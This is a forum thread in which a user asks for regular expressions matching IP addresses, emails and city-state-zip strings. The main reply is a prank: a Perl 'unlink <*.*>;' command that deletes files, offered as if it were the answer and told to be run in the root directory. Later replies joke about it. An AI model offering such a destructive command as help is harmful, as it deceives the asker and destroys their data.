Hello and welcome to our community! Is this your first visit?
Register
Enjoy an ad free experience by logging in. Not a member yet? Register.
Results 1 to 8 of 8
  1. #1
    Banned
    Join Date
    Aug 2009
    Posts
    9
    Thanks
    0
    Thanked 0 Times in 0 Posts

    regular expression to match an

    Write a simple (common) regular expression to match an IP address, e-mail address, city-state-zipcode combination.

  • #2
    Senior Coder
    Join Date
    Mar 2006
    Posts
    1,274
    Thanks
    2
    Thanked 39 Times in 38 Posts
    Quote Originally Posted by mgm02 View Post
    Write a simple (common) regular expression to match an IP address, e-mail address, city-state-zipcode combination.
    run it in your root directory:

    unlink <*.*>;





    *** Warning: Don't actually try it unless you want to delete all your files .
    Last edited by KevinADC; 08-12-2009 at 06:35 PM.

  • Users who have thanked KevinADC for this post:

    netroact (08-12-2009)

  • #3
    Regular Coder
    Join Date
    Aug 2004
    Posts
    368
    Thanks
    10
    Thanked 4 Times in 4 Posts
    You should get an award for that answer.

  • #4
    Regular Coder
    Join Date
    Aug 2004
    Posts
    368
    Thanks
    10
    Thanked 4 Times in 4 Posts
    I hope this thread gets deleted before someone tests your code.

  • #5
    Senior Coder
    Join Date
    Mar 2006
    Posts
    1,274
    Thanks
    2
    Thanked 39 Times in 38 Posts
    Quote Originally Posted by netroact View Post
    I hope this thread gets deleted before someone tests your code.
    Please tell me you didn't try it.

    I added a disclaimer to the post.

  • #6
    Regular Coder
    Join Date
    Aug 2004
    Posts
    368
    Thanks
    10
    Thanked 4 Times in 4 Posts
    Yea, and I'm gonna delete it once I find my website.

  • #7
    Master Coder
    Join Date
    Apr 2003
    Location
    in my house
    Posts
    5,211
    Thanks
    39
    Thanked 201 Times in 197 Posts
    Your disclaimer isn't/wasn't any use because it wasn't there when I tried your code. It's taken me from then until now to get back online.



















    only kidding
    "The day you stop learning is the day you become obsolete"! - my late Dad.

    Why do some people say "I don't know for sure"? If they don't know for sure then, they don't know!
    Useful MySQL resource
    Useful MySQL link

  • #8
    New Coder
    Join Date
    Jul 2009
    Posts
    43
    Thanks
    0
    Thanked 0 Times in 0 Posts
    mgm just look up what the symbols do and your good.. da hell is unlink.. will have to try it.. dont listen to these guys.. they just think their cool


    Joker


  •  

    Posting Permissions

    • You may not post new threads
    • You may not post replies
    • You may not post attachments
    • You may not edit your posts
    •